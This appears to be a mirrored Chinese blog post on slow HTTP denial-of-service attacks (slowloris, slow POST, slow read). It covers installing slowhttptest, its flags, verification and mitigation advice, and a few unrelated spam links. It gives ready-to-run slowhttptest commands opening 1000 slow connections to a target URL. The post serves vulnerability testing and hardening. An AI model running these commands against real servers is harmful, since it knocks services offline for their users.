zoukankan      html  css  js  c++  java
  • HTTP慢速攻击

    漏洞原理

    HTTP慢速攻击也叫slow http attack,是一种DoS攻击的方式。由于HTTP请求底层使用TCP网络连接进行会话,因此如果中间件对会话超时时间设置不合理,并且HTTP在发送请求的时候采用慢速发HTTP请求,就会导致占用一个HTTP连接会话。如果发送大量慢速的HTTP包就会导致拒绝服务攻击DoS。

    3种攻击方式

    1.Slow headers(也称slowloris):Web应用在处理HTTP请求之前都要先接收完所有的HTTP头部,Web服务器再没接收到2个连续的 时,会认为客户端没有发送完头部,而持续的等等客户端发送数据,消耗服务器的连接和内存资源。

    2.Slow body(也称Slow HTTP POST):攻击者发送一个HTTP POST请求,该请求的Content-Length头部值很大,使得Web服务器或代理认为客户端要发送很大的数据。服务器会保持连接准备接收数据,但攻击客户端每次只发送很少量的数据,使该连接一直保持存活,消耗服务器的连接和内存资源。

    3.Slow read(也称Slow Read attack):客户端与服务器建立连接并发送了一个HTTP请求,客户端发送完整的请求给服务器端,然后一直保持这个连接,以很低的速度读取Response,比如很长一段时间客户端不读取任何数据,通过发送Zero Window到服务器,让服务器误以为客户端很忙,直到连接快超时前才读取一个字节,以消耗服务器的连接和内存资源。

    漏洞验证

    使用工具:slowhttptest

    SlowHTTPTest是一款对服务器进行慢攻击的测试软件,所谓的慢攻击就是相对于cc或者DDoS的快而言的,并不是只有量大速度快才能把服务器搞挂,使用慢攻击有时候也能到达同一效果。slowhttptest包含了之前几种慢攻击的攻击方式,包括slowloris, Slow HTTP POST, Slow Read attack等。那么这些慢攻击工具的原理就是想办法让服务器等待,当服务器在保持连接等待时,自然就消耗了资源。

    安装工具

    Kali Linux:

    apt-get install slowhttptest

    其他Linux发行版:

    ./configure
    make
    sudo make install
    

    参数说明

    -a 一开始开始值范围说明符用于范围头测试
    -b 将字节限制的范围说明符用于范围头测试
    -c 连接数限制为65539
    -d  proxy host:port用于指导所有流量通过web代理
    -e  proxy host:port端口用于指导只有探针交通通过web代理
    -h,B,R或x 指定减缓在头部分或在消息体,- R 允许范围检验,使慢读测试- x
    -g  生成统计数据在CSV和html格式,模式是缓慢的xxx。csv / html,其中xxx是时间和日期
    -i  seconds秒间隔跟踪数据在几秒钟内,每个连接
    -k  管道因子次数重复请求在同一连接慢读测试如果服务器支持HTTP管道内衬。
    -l  在几秒钟内,秒测试时间
    -n  秒间隔从接收缓冲区读取操作
    -o  文件定义输出文件路径和/或名称,如果指定有效- g
    -p  秒超时等待HTTP响应在探头连接后,服务器被认为是不可访问的
    -r  seconds连接速度
    -s  字节值的内容长度标题详细说明,如果指定- b
    -t  verb自定义
    -u  URL目标URL,相同的格式键入浏览器,e。g https://host[:port]/
    -v  level冗长等级0 – 4的日志
    -w  字节范围广告的窗口大小会选择从
    -x  字节最大长度的跟踪数据结束
    -y  字节范围广告的窗口大小会选择从
    -z  字节从接收缓冲区读取字节与单一的read()操作
    

    电脑刺绣绣花厂 http://www.szhdn.com 广州品牌设计公司https://www.houdianzi.com

    验证命令

    slowloris模式:

    slowhttptest -c 1000 -H -i 10 -r 200 -t GET -u https://yourtarget.com/index.html -x 24 -p 3

    Slow Body攻击:

    slowhttptest -c 1000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u http://www.mywebsite.com -x 10 -p 3

    Slow Read模式:

    slowhttptest -c 1000 -X -r 1000 -w 10 -y 20 -n 5 -z 32 -u http://yourtarget.com -p 5 -l 350 -e x.x.x.x:8080

    判断依据

    1、当服务器可控,可以通过以下命令来确认是否存在该漏洞:
    pgrep http | wc -l  进程数量
    netstat -antp | grep 443 |wc -l  网络连接数量
    2、在攻击的时间段,服务无法正常访问则存在漏洞。
    

    修复建议

    • 设定URL白名单和黑名单,识别坏的IP;
    • 设置一个绝对连接超时;
    • 定义最小的输入数据速率;
    • 对web服务器的http头部传输的最大许可时间进行限制,修改成最大许可时间为20秒。
  • 相关阅读:
    48. Rotate Image
    47. Permutations II
    46. Permutations
    45. Jump Game II
    44. Wildcard Matching
    43. Multiply Strings
    42. Trapping Rain Water
    41. First Missing Positive
    40. Combination Sum II
    39. Combination Sum
  • 原文地址:https://www.cnblogs.com/xiaonian8/p/13851720.html
Copyright © 2011-2022 走看看